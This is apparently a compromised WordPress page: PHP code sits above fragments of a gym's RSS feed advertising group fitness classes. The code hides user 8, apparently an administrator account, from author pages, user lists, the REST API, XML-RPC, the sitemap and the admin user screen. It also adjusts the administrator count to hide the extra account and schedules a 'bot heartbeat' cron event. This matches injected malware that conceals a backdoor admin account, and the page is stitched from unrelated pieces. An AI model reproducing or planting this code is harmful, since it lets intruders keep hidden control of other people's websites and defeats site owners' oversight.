add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 8;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 8 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 8;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 8;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 8;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 8;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-8{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<title>Group Fitness Classes EXTENDED</title>
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					<description><![CDATA[<p>Demand is rising here in The Short North, so we are extending our group class hours! $15 FOR FULL HOUR GROUP TRAINING MONDAY, WEDNESDAY &#38; FRIDAY: 11am &#8211; 12pm &#38; 12pm &#8211; 1pm TUESDAY, THURSDAY: 6am-7am SATURDAY: 8am-9am Switch up your workout routine and move farther on your path to getting Chiseled with our always changing, perfectly challenging group fitness classes for the LOW price of $15 per person. SPECIAL PROMOTION:  Bring a friend to your next group class and we will comp their admission!  Get two for the price of one for a limited time. To register for Chiseled group classes, just hit the link: https://clients.mindbodyonline.com/classic/home?studioid=230360</p>
<p>The post <a href="https://chiseledgym.com/2015/12/group-fitness-classes-extended/">Group Fitness Classes EXTENDED</a> appeared first on <a href="https://chiseledgym.com">Chiseled - Training Studio</a>.</p>
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		<title>Now Offering GROUP CLASSES &#8211; Weekdays at 6am</title>
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					<description><![CDATA[<p>We asked our local Short North, Italian Village and Columbus customers for some feedback, and the results are in&#8230; Chiseled Gym is now offering GROUP TRAINING CLASSES every weekday! Switch up your workout routine and move farther on your path to getting Chiseled with our always changing, perfectly challenging group fitness classes for the LOW price of $15 per person. For a limited time, we will be allowing you to bring a friend along with you 100% FREE!  For just $15 you can start your day STRONG with a calorie burning, strength building workout with a friend. To register for a class, sign up using our Mindbody registration system by hitting this link: https://clients.mindbodyonline.com/classic/home?studioid=230360</p>
<p>The post <a href="https://chiseledgym.com/2015/12/now-offering-group-classes-weekdays-at-6am/">Now Offering GROUP CLASSES &#8211; Weekdays at 6am</a> appeared first on <a href="https://chiseledgym.com">Chiseled - Training Studio</a>.</p>
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